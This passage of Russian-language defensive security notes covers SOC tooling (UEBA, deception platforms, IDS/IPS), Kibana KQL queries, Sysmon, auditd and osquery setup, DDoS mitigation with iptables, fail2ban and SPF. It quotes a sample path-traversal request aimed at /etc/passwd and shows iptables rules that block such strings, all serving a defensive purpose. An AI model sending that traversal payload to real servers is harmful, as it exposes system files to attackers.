Analysis) и сущность (Entity в UEBA; чаще всего это хост), приводит к добавлению баллов. После уровня создаётся подозрение на инцидент или аналитик сам следит за ТОП подозрительных пользователей. «Репутация» обнуляется со временем. Например, сумма баллов уменьшается на фиксированную величину или процент каждый час. Работа с такими данными не отличается от стандартных подозрений на инциденты. Основные компоненты UEBA - Сбор данных: UEBA работает на основе обширного сбора данных из различных источников, таких как журналы аутентификации пользователей, журналы сетевого трафика, данные об использовании привилегий и многое другое. - Машинное обучение и анализ данных: После сбора данных UEBA применяет машинное обучение и анализ данных для выявления поведенческих шаблонов. Алгоритмы машинного обучения выявляют нормальные поведенческие тренды пользователей и сущностей, а затем ищут аномалии, которые могут указывать на подозрительную активность. - Профили пользователей и объектов: UEBA создает профили пользователей и объектов с типичным поведением сущности. Это включает часы работы, местоположение, уровень доступа и другие характеристики. Затем система использует эти профили для сравнения с текущим поведением и обнаружения отклонений. - Детектирование угроз и инцидентов: При обнаружении аномалий UEBA генерирует предупреждения для ИТ-специалистов, указывая на потенциальные угрозы безопасности или необычное поведение. Это позволяет оперативно реагировать на инциденты и предотвращать возможные атаки. Результат использования U(E)BA — выявление угроз методами с высоким уровнем ложных срабатываний(false-positive) или методами, для которых невозможно создать и поддерживать простой алгоритм без ущерба для качества обнаружения инцидентов. **DDP** Distributed Deception Platform(«платформа с распределенными ловушками») - сокрытие реальных объектов инфраструктуры компании, запутывания атакующих и направления их «по ложному следу». Также используют Deception-платформы для проактивного поиска киберугроз, заманивая атакующих в контролируемую среду и позволяя им «украсть» поддельные данные (приманки), движение которых можно будет затем отследить: например, позволив атакующим «украсть» специально созданные тестовые учетные данные, можно будет затем отследить попытки их применения или публикации и сделать соответствующие выводы. Таким образом, Deception-платформы могут дополнять другие методы обнаружения атак (сигнатурные и на основании выявления аномалий) и предоставлять команде SOC ценную информацию для выявления скрытой вредоносной активности. Deception-решения позволяют автоматизированно «раскидать» приманки по инфраструктуре компании, анализировать действия, выполняемые атакующими, контролировать их перемещение между приманками. В отличие от классических Honeypot/Honeynet-технологий, Deception-системы позволяют автоматизировать создание и контроль приманок, направлять по ложному следу атакующих, обеспечивать проактивный поиск и анализ киберугроз. Таким образом классический Honeypot является частью системы Distributed Deception Platform. Приманки могут представлять из себя - поддельные учетные записи, документы, файловые «шары», размещенные на определенном устройстве; - поддельные системы, сервисы, серверы, которые на первый взгляд неотличимы от настоящих, но оснащены технологиями «песочниц» для контроля и анализа действий атакующих; - поддельные объекты Active Directory, которые могут заинтересовать атакующих; - периметровые приманки, похожие на настоящие веб-сервисы, для отвлечения атакующих путем наведения их на ложные цели. Внедрение Deception-решения оправдано для зрелых команд SOC, осознающих риски и сложности: от необходимости настройки Deception-инфраструктуры до возможности захвата Deception-инфраструктуры атакующими и использования ее в качестве плацдарма для дальнейших атак на компанию. Перед внедрением Deception-платформы следует убедиться в общей зрелости и готовности команд SOC к разумному использованию Deception-решения, выделить соответствующие ресурсы, разработать правила работы с обнаруженными атаками (например, порядок принятия решений о дальнейшем мониторинге действий атакующих или блокировании их действий). DDP решение для SOCа будет хорошим дополнением для выявления сложных атак, которые тяжеловато выявить обычными корреляционными правилам, такие как например Kerberoasting. Из open-source решений DDP можно рассмотреть Dejavu. **IDS/IPS** Анализирует копию трафика (Detection в Intrusion Detection Systems) или блокирует вредоносную активность (Prevention). Обычно гибридный режим. Аналог антивируса для сети. Метод обнаружения - сигнатуры, от обновления которых зависит эффективность работы системы. Системы IDS делят по месту установки и принципу действия. По месту установки - Network Intrusion Detection System (NIDS). Система глубоко анализирует трафик всех сетевых устройств с канального уровня до уровня приложений. Распознают внешние и внутренние угрозы. Большой объём данных тормозит NIDS или провоцирует пропуск отдельных пакетов, что несёт за собой риски. - Host-based Intrusion Detection System (HIDS). Ставятся на один хост внутри сети, анализируют и защищают только его трафик. HIDS делает снимок текущей версии хоста и сравнивает его со сделанной ранее, обнаруживая возможные угрозы. Установка такого решения рекомендована для критически важных хостов, в конфигурации которых изменений практически не бывает. - Perimeter Intrusion Detection Systems (PIDS). Не обеспечивает защиту всей сети, уведомляя лишь о возможных нарушениях границы сети. Ближайший аналог — забор вокруг дома. - Virtual Machine-based Intrusion Detection Systems (VMIDS). На базе виртуализации, позволяет отказаться от развёртывания системы обнаружения на отдельном устройстве. Чтобы своевременно распознавать подозрительную активность, достаточно развернуть VMIDS на виртуальной машине. - Application Protocol-based Intrusion Detection System (APIDS). Система обеспечивает контроль пакетов, которые передаются по протоколу прикладного уровня. Например, используемого для обращения к БД SQL. - Hybrid Intrusion Detection System (HyIDS). Решение фактически представляет собой гибридное решение, сочетающее свойства двух или более типов решений, перечисленных выше. По принципу действия - Сигнатурные. Анализируют сигнатуры с имеющимися в постоянно обновляемой базе. Если доступа к базе нет или она устарела, эффективность сигнатурного решения снижается. Есть риск и с некорректным распознаванием новой атаки с неизвестной сигнатурой. Сигнатурные IDS отслеживают состояние системы, а не события. - Основанные на аномалиях. Решение использует технологии машинного обучения. Чтобы оно корректно работало на объекте, необходимо провести предварительное обучение. Срок обучения зависит от сложности ИТ-инфраструктуры компании. Принцип работы следующий: система изучает работу сети на текущий период времени и сравнивает с аналогичным периодом в поиске аномалий трёх типов — статистических, аномалий протоколов и трафика. Такие системы защиты эффективны, но сложны. Основные решения IDS/IPS - Zeek(Bro): сетевая система обнаружения вторжений, основанная на Unix-системе. Использует собственный язык для написания политик, которые будут определять последовательность действий при обнаружении атаки или срабатывании датчиков тревоги. - Snort: кроссплатформенное IDS/IPS решение с открытым исходным кодом. Умеет вести протоколирование, анализировать и искать по содержимому. Применяется для активного блокирования или пассивного обнаружения широкого спектра атак и зондирований. - Suricata: решение с открытым кодом, в котором используются актуальные технологии, позволяющие увеличить скорость работы. Suricata сочетается со стандартными приложениями и поддерживает большинство доступных модулей. Работает по принципу анализа сигнатур. **Пример схемы СЗИ** [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/C5aimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/C5aimage.png) # SIEM (ElasticSearch) **Компоненты**
ElasticSearchСерверная часть - бэкенд обработки данных
АгентыНа клиентах, агрегируют и отправляют данные
KibanaВизуализация данных ElasticSearch, возможно на отдельном сервере. Серьезные проблемы с получением интеграций, нужно отдельно скачивать + EPR (пакетный менеджер)
FleetБэкенд для управления агентами, фронт через kibana. Управление через политики.
**ELK-запросы. KQL** Для составления запросов в Kibana используется KQL(Kibana Query Language). Подробнее по [ссылке](https://learn.microsoft.com/ru-ru/sharepoint/dev/general-development/keyword-query-language-kql-syntax-reference). Рассмотрим основной интерфейс вкладки Discover в Kibana: 1. Окно выбора временного периода для ограничения поиска. 2. Выбор индекса с данными. Данные с различных источников могут иметь разный формат и записываться в разные индексы(базы). 3. Строка запросов KQL. 4. Доступные в текущем поиске поля данных. 5. Результаты поиска. **Выбор времени и индекса** Выбирается абсолютный /относительный диапазоны времени. Список доступных индексов находится в левой части экрана. **Поля с данными** После выполнения запроса в левой части экрана Kibana покажет доступные в результатах поиска поля данных, например такие как имя агента, IP и прочие. Имена полей можно искать с помощью строки поиска, если кликнуть на поле, Kibana покажет статистику. Для удобной работы с чтением логов имеет смысл выбрать интересующие специалиста поля для отображения в результатах поиска(5). Для выбора необходимо нажать на символ (+) рядом с именем поля. Поле timestamp выбрано по умолчанию. Результаты поиска с выбранными полями host.ip, host.name, host.os.family и message. Полученный вид можно сохранить для дальнейшего использования нажав кнопку "Save" в правом верхнем углу экрана. Это очень удобно для работы с разными наборами данных, например, для изучения сетевого трафика имеет смысл выбрать поля связанные с src/dst портами, IP/MAC адресами и протоколами, для изучения логов веб-сервера добавить url, http response code, XFF, user-agent, для изучения поведения процессов - command line, process.pid, process.parent.pid, user, итд. Примечание: по умолчанию Kibana показывает 500 последних документов в результатах поиска. **KQL.** KQL использует логические операторы и ключевые слова для составления запроса. Также в запросе можно фильтровать результаты по полям. Например, запрос message: error будет искать ключевое слово error в поле message. Оператор (:) обозначает, что мы ищем полное совпадение ключевого слова "error" среди текста в поле message. Если мы попробуем найти неполное совпадение, например message:err , то результат поиска будет пустым. Для поиска частичного совпадения можно использовать символ (\*), message:err\* . Помимо поиска совпадений в KQL также доступны операторы <,>, >=, <= и логические AND, NOT, OR. Рассмотрим следующий пример: (host.name: web\*) AND (NOT http.response.status\_code: 200) AND (http.response.status\_code: \*) В данном примере мы ищем результаты которые содержат http.response.status\_code и где http.response.status\_code не равняется 200 на машинах с именем начинающимся на web. http.response.status\_code оказался в запросе дважды, поскольку в результаты запроса (NOT http.response.status\_code:200)попадут все данные, в которых поле http.response.status\_code не существует в принципе. Чтобы это исправить, мы ищем данные, где это поле имеется (http.response.status\_code: \*) и сужаем фильтр до результатов, где значение поля не равняется 200. # Системы аудита и внешний периметр **Системы аудита** **Настройка Sysmon** 1\. Скачиваем Sysmon с официального сайта: [https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon) 2\. Готовим файл конфигурации или берем готовый: https://github.com/bakedmuffinman/Neo23x0-sysmon-config/blob/main/sysmonconfig-export.xml Распаковываем архив, копируем файл конфига. 3\. Открываем командную строку Powershell от имени администратора и запускаем команду: .\\Sysmon64.exe -i .\\sysmonconfig-export.xml -accepteula Ключ -i(install) отвечает за установку, опционально указывается файл конфигурации, а ключ -accepteula автоматически принимает лицензионное соглашение, что удобно при установке Sysmon через GPO, ansible или другие способы автоматизации. 4\. Проверяем наличие логов. Откроем остнастку mmc для просмотра событий системы: PS> eventvwr.msc Перейдем в раздел "Журналы приложений и служб" -> Microsoft -> Windows -> Sysmon -> Operational и убедимся, что события, описанные в файле конфигурации записываются. Стандартная конфигурация Sysmon Давайте разберем мониторинг событий с помощью Sysmon в ОС Windows. Мы будем рассматривать конфиг Sysmon на примере популярного: [https://github.com/bakedmuffinman/Neo23x0-sysmon-config/blob/main/sysmonconfig-export.xml](https://github.com/bakedmuffinman/Neo23x0-sysmon-config/blob/main/sysmonconfig-export.xml). > При желании, можно присмотреться в дальнейшем и к этому конфигурационному файлу: [https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml](https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml). Конфигурация Sysmon описывается в формате XML и указывается при запуске программы. Пропустим стандартное описание XML-схемы и начнем с разбора групп и правил. ![](https://ucarecdn.com/d51e2c90-bdd5-4f1f-b097-73b1e204f1f8/) Мы видим описание группы, в которой будет логироваться любое из описанных в группе событий. `GroupRelation ="and"` в свою очередь будет записывать только те события, котрые попадают под все фильтры в группе. Итак, внутри группы правил мы видим описание правил `ProcessCreate`. Эти правила будут создавать события с **eventID=**1 при создании системой процесса. Ключ `onmatch` говорит, что делать, в случае если совпало какое-либо условие. В данном примере, в случае совпадения, событие не будет записано (`onmatch = exclude`). То есть, в системный журнал Sysmon будут записаны все события о создании процессов кроме тех, которые указаны в нашей группе. Грубо говоря, мы исключаем неинтересные и часто создаваемые процессы, чтобы уменьшить количество записей в журнале. Давайте разберем часто встречающиеся фильтры: - `Image` — имя исполняемого файла; - `CommandLine` — командная строка; - `ParentCommandLine` — командная строка родительского процесса; - `ParentImage` — образ исполняемого файла родительского процесса. Возможные условия: - `condition="is"` — жесткое совпадение, например: ``` ```php-template C:\Windows\System32\usocoreworker.exe -Embedding ``` ``` . В данном примере будет записано(или проигнорировано) событие запуска процесса `usocoreworker.exe` именно с ключом `-Embedding`. - `condition="contains"` — позволяет фильтровать события по имени файла, процесса, пути. - `condition="begin with"/ "end with"` — позволяет фильтровать поля, которые начинаются или заканчиваются определенными символами. - `condition="contains any"/condition="contains all"` — позволяет искать события, которые содержат одно из, либо все условия, описанные в правиле. Список разделяется символом ";", например: ``` ```php-template MSSE-;-server ``` ``` ![](https://ucarecdn.com/470e9412-5315-49de-a888-3b84fe6ab0a2/) Следующая группа мониторит изменение временной метки создания файлов(**Sysmon eventID=2**). В данном случае мы видим `onmatch = include`, то есть будут записаны только те события, которые описаны в этой группе, а именно: изменение файлов в каталоге "C:\\Users", изменения .exe файлов, и `HarddiskVolumeShadowCopy`. ![](https://ucarecdn.com/b6c26e6a-8fc2-48ea-882c-dfaba1e30bdc/) Дальше мы видим группу для мониторинга сетевых соединений(**Sysmon eventID=3**). Как и в случае с файлами, система постоянно инициирует огромное количество сетевых соединений, поэтому мы будем отслеживать только те соединения, которые описаны в этой группе. События, описанные в этой группе могут фильтроваться по имени исполняемого файла(`Image`), по IP/FQDN, либо по портам. ![](https://ucarecdn.com/3ed857da-b58f-4f6b-9b5c-4274a51bc14b/) Исключение мониторинга событий коннектов к microsoft.com. ![](https://ucarecdn.com/81d27d96-16ee-4517-86df-a1a599ad294d/) Отслеживание подключений по портам 22,23,143,3389. ![](https://ucarecdn.com/b5a0ddd0-9bac-4e61-b975-faa833f2eceb/) Поскольку `onmatch="exclude"` и список пустой будут записываться все события окончания работы процесса(**Sysmon eventID=5**). ![](https://ucarecdn.com/b2fff2dc-086f-4cdb-b27b-637ef2e223b1/) **Sysmon eventID=7**, загрузка библиотеки процессом. Очень "шумное" правило, следует использовать с крайней осторожностью, чтобы не перегрузить систему. В нашем примере правило выключено(`onmatch="include"` и пустой список. ![](https://ucarecdn.com/f9205b90-07cb-4d18-9cc4-ce0f575262a6/) **Sysmon eventID=8**, создание удаленного потока. Помогает отслеживать process injection, когда один процесс запускает свой код в области памяти другого процесса. **Sysmon eventID=9**(`RAW DISK ACCESS`, прямой доступ к диску) и **Sysmon eventID=10** (I`NTER-PROCESS ACCESS`, доступ одного процесса к другому) как правило исключаются из мониторинга по причине большого количества событий и их малой полезности. ![](https://ucarecdn.com/08dafb64-5373-4f21-bb95-af497498be1f/) **Sysmon eventID=11** отвечает за создание файлов. Крайне полезное правило, но опять же, очень "шумное". На скриншоте выше мы видим условия, отслеживающие создание файлов в каталоге "Downloads", файлов с определенными расширениями(.bat, .cmd и т.д.) и файлов в меню "Пуск" и автозагрузке. ![](https://ucarecdn.com/4bebfafd-78fd-43e8-8404-95f18e9374e8/) События Sysmon eventID=12,13,14 описывают изменения в реестре Windows: - **EVENT 12**: "Объект реестра добавлен или удален" - **EVENT 13**: "Установлено значение" - **EVENT 14**: "Объект переименован". На примере выше мы видим правило мониторинга веток Run, отвечающих за автозапуск при старте системы. - **Sysmon eventID=15** отвечает за мониторинг альтернативных потоков данных (Alternative data streams) в NTFS. - **Sysmon eventID=16** описывает события изменения конфигурации Sysmon. - **Sysmon eventID=17**(Pipe Created) и **Sysmon eventID=18**(Pipe Connected) мониторят создание и использование pipes - область памяти используемая для коммуникации между процессами. - **Sysmon eventID=19, 20** и **21** описывают события, связанные с WMI(Windows management interface). ![](https://ucarecdn.com/fa93dc7a-86df-4460-9dfb-e0b5728d5573/) **Sysmon eventID=22** позволяет логировать все DNS-запросы. Эти события могут быть крайне полезными, однако система генерирует огромное количество DNS-запросов каждую секунду. *Начиная с версии 14 Sysmon умеет блокировать исполняемые файлы по хэшу.* **Настройка auditd** 1\. Установим auditd на ОС Ubuntu: apt install auditd 2\. Подготовим или скачаем готовый файл конфигурации: \# wget https://raw.githubusercontent.com/Neo23x0/auditd/master/audit.rules 3\. Скопируем файл с правилами в каталог /etc/audit/rules.d: \# mv audit.rules /etc/audit/rules.d/audit.rules 4\. Загрузим правила командой: augenrules --load 5\. Убедимся, что правила добавились с помощью команды: auditctl -l 6\. И проверим, что демон auditd записывает события: tail /var/log/audit/audit.log **Настройка OSquery** Мы будем использовать OSquery в составе elastic agent. Хотя OSquery можно установить отдельно, интеграция с ELK дает хорошую масштабируемость, позволяя запускать запросы сразу на множестве агентов одновременно. Для работы OSQuery необходим настроенный Fleet server (см. тему 6.2). Перейдем в раздел Management -> OSQuery. Нам предложат добавить интеграцию Osquery в имеющуюся политику Fleet Server. Выберем используемую на агентах политику и нажмем "Save and continue". После того как политика обновится на агентах, можно начинать пользоваться Osquery. Для этого перейдем в раздел Management -> OSQuery -> Live queries и нажмем на "New live query". Выберем агент(один или несколько), на котором выполним тестовый запрос OSQuery: SELECT u.username, u.directory, u.uuid, g.groupname, g.group\_sid, u.type FROM users AS u JOIN groups AS g USING(gid); Ниже несколько полезных ресурсов с практическими рекомендациями по OSQuery: 1\. https://speakerdeck.com/will03/practical-threat-hunting-with-osquery 2\. https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/ 3\. https://osquery.readthedocs.io/en/latest/ **Защита внешнего периметра** **DDoS атаки** У крупных компаний со своей AS есть возможность построить BGP peering с ISP, предоставляющим услуги защиты от DDoS. В обычное время этот дополнительный канал никак не используется, и у компании используются ее основные ISP. А во время атаки основные каналы "отключаются" и весь трафик заходит только от ISP оказывающие услуги фильтрации. Атака на канал Шаг 1 Коммуникация с ISP с целью ограничения пропускной полосы для протоколов, подверженным Amplification атакам, например 53 (dns), 11211 (memcache), 123 (ntp). Полный перечень протоколов можно изучить [тут](https://www.cisa.gov/news-events/alerts/2014/01/17/udp-based-amplification-attacks). Не используемые протоколы можно вообще заблокировать, на оставшиеся установить лимит. Однако, стоит понимать, что если выставить лимиты на UDP, где source port 53 - то под это правило попадут и ответы на DNS запросы, которые исходят, например, из вашего офиса. Т.е. канал и внешние сервисы вы спасете, но работа офиса в Интернете в этот момент может быть затруднена. Шаг 2 Если вы недостаточно крупный клиент для вашего ISP, для компаний не обладающим свой IP подсетью, которой он может свободно распоряжаться в плане маршрутизации, решение может быть чуть более "интересным". Во-первых, подумайте о возможном размещении своих сервисов в облаках. В этом случае, защитой канала от крупных атак будет уже озадачен непосредственно облачный провайдер, вам же останется решать вопросы защиты только от атак на L7. Шаг 3 Если по какой-то причине перенести свои сервисы полностью вы не можете, то небольшой шанс остаться защищенным все еще есть — не светите свой настоящий IP в интернете. Нигде. Никакая DNS запись не должна вести на ваш настоящий IP адрес, даже в истории DNS, которую можно найти в открытом доступе в интернете. А ваши офисные сотрудники должны выходить в интернет через NAT IP не имеющим отношения к вашим сервисам. Идея защиты заключается в том, что услугами облачной инфраструктуры мы воспользуемся только с целью проксирования трафика (L3/4). Проблемой в использовании прокси все еще может стать величина вашего собственного канала в офисе. Если он 1Гбитс, и вас атакуют ровно на эту величину, то лимиты облачного провайдера могут не сработать, и защищаться вам все еще потребуется самостоятельно. Пример проксирования с помощью iptables ``` iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination :80 iptables -I INPUT -p udp -m udp --dport 123 -j ACCEPT iptables -t nat -A PREROUTING -p udp --dport 123 -j DNAT --to-destination :123 iptables -t nat -A POSTROUTING -j MASQUERADE iptables -I FORWARD -j ACCEPT iptables -P FORWARD ACCEPT sysctl net.ipv4.ip_forward=1 ``` Шаг 4.1 (TCP) Для защиты TCP-трафика используем возможности iptables на уровне нашего прокси сервера в облаке. Однако применять фильтры требуется не в FORWARD chian'е в связке с стандартной таблицей "filter", а в PREROUTING chain'е в связке с таблицей "mangle". Это очень сильно снизит нагрузку на вычислительные ресурсы прокси-сервера. Конкретные конструкции по защите от DDoS с помощью iptables можно найти [здесь](https://javapipe.com/blog/iptables-ddos-protection/). Шаг 4.2 (UDP) Если вы публикуете UDP сервисы (например телефония), то для проксирования и блокировок возможно так же продолжать использовать iptables. Однако сложность SIP трафика заключается в том, что он использует динамические порты. В таком случае потребуется блокировать непосредственно UDP сервисы, подверженные усилению (53, 123, 389, 11211 и т.п.), а также попробовать максимально сузить диапазон динамически выделяемых портов (например 40000-45000) и разрешить пропускать только их. Шаг 5 Если вы решитесь на такую необычную конфигурацию, располагая прокси сервер в облаке, следует иметь ввиду, что весь трафик вы теперь будете получать только с этого единственного IP адреса. Его и следует разрешить на сетевом оборудовании вашей собственной инфраструктуры, а все остальные прямые подключения запретить. Однако, перед вами может встать вопрос прозрачности логов. Теперь весь интернет-трафик к вам будет приходить из единственного источника и возможно какая то аналитика, основанная на IP адресах клиентах нарушится. Для веб-приложения, с целью сохранения IP адресов клиентов в логах на уровне прокси стоит воспользоваться Nginx. Проставляя дополнительный заголовок X-Forwarder-For вы сможете сохранить информацию о настоящем IP источника. **Ограничиваем доступ по IP-адресам** Основываясь на гео IP баз данных, можно разработать автоматизацию, которая 1 раз в день будет обновлять правила iptables либо ACL на вашем сетевом оборудовании и разрешать доступ только из RU региона. Такая конфигурация отлично работала бы со связкой облачного L3/4-прокси, где на самом прокси вы реализуете доступность по IP гео региона, а на стороне офиса, где непосредственно развернуты сервисы, разрешен входящий трафик только с IP адреса этого прокси сервера. Интересный реальный пример из жизни, из сферы госзаказов: государственная больница, в одном из многочисленных регионов РФ, имеет множество филиалов, маленьких офисов. Технологический прогресс идет и связью надо оснастить каждый, даже самый маленький филиал, дать возможность даже в самой глубинке пользоваться централизованными сервисами. Организация VPN сети остается на стороне медицинского учреждения, а вот контракты и сами каналы связи предоставляют "сверху", в каждую глубинку идет белый IP адрес. Зачем? Там, где нет сервисов, нет причины использовать белые IP. Любая неверная конфигурация сетевого оборудования, слабый пароль, использование старых версий прошивки — все это лишний риск ИБ и ИТ специалистам. Даже межофисный VPN легко справляется с подключениями из-за NAT. Конечно, идеальный сценарий, когда вы знаете конкретные IP адреса клиентов того или иного сервиса и разрешаете доступ только с этих источников, блокируя все остальные. Зачастую это, к сожалению, невозможно. Да и нужды бизнеса могут диктовать необходимость быть открытым всему миру. Однако, и для такого сценария есть рекомендации: - заблокируйте подключение из Tor-сети; - заблокируйте подключение из облаков, если вы ожидаете, что вашими сервисами должны пользоваться только люди; - заблокируйте подключение из источников с плохой репутацией (пример Cisco Talos). Примеры автоматизаций iptables: https://github.com/trick77/ipset-blacklist; CiscoASA: https://gist.github.com/RaceFPV/6f67e7cf4a99dfa3d473de5da325bb0f; MikroTick: [https://github.com/pwlgrzs/Mikrotik-Blacklist](https://github.com/pwlgrzs/Mikrotik-Blacklist). Помните, что примеры с github лишь примеры. Всегда проверяйте на содержимое скрипты, скаченные из интернета. Стоит так же учитывать, что из-за уникальности вашей собственной инфраструктуры они могут не работать как есть, и может потребоваться доработка. **Ограничиваем по IP в динамике (fail2ban)** В условиях, когда мы не можем заранее предоставить доступ только для доверенных IP, а ожидание обновления репутационных баз может стоить нам драгоценного времени, fail2ban приходит на помощь! Это очень мощный инструмент, который управляет динамическими списками iptables, следуя заранее заданной логике, которую можете создавать вы сами. Есть множество стандартных профайлов, идущих в комплекте с приложением, которые, например, будут блокировать на 30 минут ip адрес, с которого было совершено 5 неудачных попыток подключения к ssh за последние 10 минут. Такие события логируются в файле /var/log/secure. Т.е. если есть необходимость разработать кастомный профайл — лог файл, это минимальное требование. Из коробки доступен анализ логов множества приложений, таких как sshd, asterisk, apache, phpmyadmin и другие. Давайте попробуем создать свой собственный темплейт для OpenVPN. 1\. Создаем файл /etc/fail2ban/filter.d/openvpn.conf со следующим конфигом: ``` [INCLUDES] before = common.conf [Definition]  _daemon = ovpn-server failregex =%(__prefix_line)s:[0-9]{4,5} TLS Auth Error:.*            %(__prefix_line)s:[0-9]{4,5} VERIFY ERROR:.*            %(__prefix_line)s:[0-9]{4,5} TLS Error: TLS handshake failed.*            %(__prefix_line)sTLS Error: cannot locate HMAC in incoming packet from \[AF_INET\]:[0-9]{4,5} maxlines = 1 ``` 2\. Создаем файл /etc/fail2ban/jail.d/openvpn.conf со следущим конфигом: ``` [openvpn] enabled  = true port     = 1194   ; Change this if your OpenVPN is using a different port protocol = udp filter   = openvpn logpath  = /var/log/openvpn.log  ; Change this if your OpenVPN log path is different maxretry = 3 ``` 3\. Рестарт службы: ``` systemctl restart fail2ban ``` Условие поиска событий в логе задаем мы. Т.е. fail2ban может быть не только инструментом борьбы против брутфорса, но, например, и от перебора существующих каталогов и страниц на сайте. Если количество строк в логах с кодом ответа 404 превышает, например, 100 за 10 минут — IP в блокировку. Но стоит быть уверенным, что нет ошибок на стороне кода веб-приложения и нет ссылок на несуществующие элементы. Мы могли бы подсчитывать даже количество валидных GET/POST запросов (код ответа 200). Однако, тут надо быть осторожным, т.к. есть риск заблокировать и настоящих пользователей, которые просто сидят за одним NAT IP адресом в сети большого оператора связи. Важно понимать, что источником данных для принятия решений может быть лог файл любого приложения — и vpn сервер, и почтовый сервер, и сервер телефонии и многие другие. **Глубокая инспекция трафика** Когда блокировка IP адреса недопустима из-за риска блокировать настоящих пользователей, остается принимать решение о блокировке каждого отдельного пакета или веб-запроса. С одной стороны, к нам на помощь может вновь прийти iptables. Даже, если речь идет о веб-приложении, где весь трафик шифруется (HTTPS), то в связке nginx + apache декрипт проходит на уровне nginx, а apache хостится на localhost (127.0.0.1), т.е. правило iptables может быть применено на этом интерфейсе. Пример правила iptables с блокировкой, основанной на контенте ТСР пакета: ``` iptables -A INPUT -p tcp --dport 8080 -m string --algo kmp --string "../../../../" -j DROP iptables -A INPUT -p tcp --dport 10556 -m string --algo kmp --hex-string "|3e0000|" -j DROP ``` Очень важное замечание было сделано в первом абзаце данной главы: "пакета или веб-запроса". Если у нас используется система, которая анализирует каждый отдельный пакет, как в разобранном выше примере iptables, то он с легкостью пропустит веб-запрос, содержащий попытку LFI типа GET /script.php?page=../../../../../../../../etc/passwd, если злоумышленник разобьет его на несколько TCP пакетов, в пейлоде которых будет содержаться только один символ. Клиент отправляет 100 пакетов по одному символу, наш фильтр это пропускает, а сервер, используя заложенные алгоритмы в протокол ТСР восстанавливает запрос целиком, и готов "ответить" злоумышленнику. Из-за описанных выше особенностей для гарантированной защиты наших приложений нам потребуются инструментарии типа WAF (для веб-приложений) и IPS (для любых других). Они собирают ТСР сессию целиком и только потом принимают решение о блокировке. В третьем видео темы "2.6 Противодействие на периметре" мы описывали особенности работы WAF и быструю установку одного из бесплатных решений. Работа с популярные IPS/IDS такими, как Suricata и Snort была также описана в уроке "2.5 Анализ логов сетевых средств защиты (WAF / NGFW / IDS)". Крайне редко в своей практике я встречал IPS развернутые в Prevent mode, с целью защиты внешних сервисов. Уж очень большой риск влияния на работу сервиса из-за задержек в анализе, ведь он, кроме того, крайне требователен к ресурсам железа. Поэтому чаще их все-таки ставят сбоку, отливают для анализа копию трафика и это уже получается IDS (Detect mode). Но о том, что такая возможность защиты внешних сервисов существует стоит иметь ввиду. **Hardening сервисов** "hardening" - "укрепление" сервера с точки зрения ИБ. Например, представьте, что вы используете WordPress CMS на вашем сайте, он хорошо позиционировал в сети, закрыт WAF'ом. Но, к сожалению, уязвимости в нем самом и его модулях обнаруживаются постоянно. И вот, появился очередной "0-day", который начинает активно использоваться злоумышленниками. WAF — не 100% гарант , и в нашем примере он не смог защитить ваш сайт, ваш сервер и злоумышленник реализует RCE (удаленное исполнение кода) на вашем сервере... Рекомендуют включить и настроить SELinux. Он способен ограничить пользователя www-data, из-под которого работает наш сайт, и не дать ему возможность исполнять код на системе, а лишь читать файлы, что лежат в /var/www/html. Стандарты помогут вам проверить каждый хост, каждую систему в отдельности, не забыли ли вы чего настроить. Самым распространенным является CIS Benchmark'и. CIS (Center for Internet Security) опубликовал стандарты для множества различных систем: Кроме стандартов в интернете можно найти и различные автоматизации по их применению и проверке. Интересную коллекцию подобных автоматизаций вы можете найти по [ссылке](https://github.com/ansible-lockdown). Альтернативы CIS Benchmark CIS хоть и является дефакто стандартом и самым популярным источником фреймворков, но не всегда в их коллекции можно найти интересующую нас технологию. На помощь, как обычно приходит Google. Будем искать, желательно на официальных сайтах, "hardening" или "best practice" под необходимый продукт. Например: рекомендации на MikroTik: https://mum.mikrotik.com/presentations/KH17/presentation\_4162\_1493374113.pdf рекомендации на OpenVPN: https://openvpn.net/community-resources/hardening-openvpn-security/ рекомендации на Zabbix: [https://www.zabbix.com/documentation/current/en/manual/installation/requirements/best\_practices](https://www.zabbix.com/documentation/current/en/manual/installation/requirements/best_practices) # Email и облака **Почта** - защита собственного домена от попыток отправки писем от вашего имени; - защита собственных сотрудников от спама, вирусов и офисных файлов с опасными макросами; - харденинг почтового сервера и сервиса обработки почты (exim, dovecot, postfix и т.п.). **Защита доменного имени (SPF, DKIM, DMARC)** SPF (Sender Policy Framework) — это TXT DNS запись, в которой следует указать IP-адреса и доверенных партнеров, которые авторизованы (имеют право) отправлять электронную почту из вашего домена, т.е. от "вашего имени". Принимающие почтовые сервера, могут сверить источник пришедшего письма (домен и IP) с соответствующей DNS записью в вашем домене, прежде чем перенаправить его в почтовый ящик получателя. Пример SPF записи: ``` » dig txt ptsecurity.ru                                   ... ptsecurity.ru.        600    IN    TXT    "v=spf1 redirect=_spf.ptsecurity.com" ... ``` В записи участвует флаг redirect, который перенаправляет нас на сабдомен, давайте проверим его: ``` » dig txt _spf.ptsecurity.com                     ... _spf.ptsecurity.com.    3600    IN    TXT    "v=spf1 ip4:178.238.126.136 ip4:178.238.126.137 ip4:195.133.251.200 ip4:195.133.251.201 ip4:31.44.93.58 ip4:81.27.243.31 ip4:81.27.243.54 ip4:195.133.251.208 ip4:178.238.126.134 mx -all" ... ``` v=spf1 — сообщает, что TXT запись содержит информацию, относящуюся непосредственно к SPF. ipv4 (ipv6) — содержит список IP адресов и сетей, с которых дозволено отправлять письма. mx — указывает на то, что серверам, указанным в MX DNS записи, так же разрешено отправлять письма. Определить MX запись можно так: dig mx ptsecurity.ru -all сообщает серверу, что адреса, не указанные в записи SPF, не имеют права отправлять электронную почту и должны быть отклонены. Альтернативные варианты: ~all, который означает, что электронные письма, не включенные в список, будут помечены как небезопасные или спам, но все равно будут приняты, и, реже, +all, который означает, что любой сервер может отправлять электронные письма от имени вашего домена. Еще один флаг, отсутствующий в примере include, который сообщает серверу, какие сторонние организации имеют право отправлять электронные письма от имени домена. DKIM (DomainKeys Identified Mail) — это метод аутентификации вашего домена с помощью цифровых подписей. 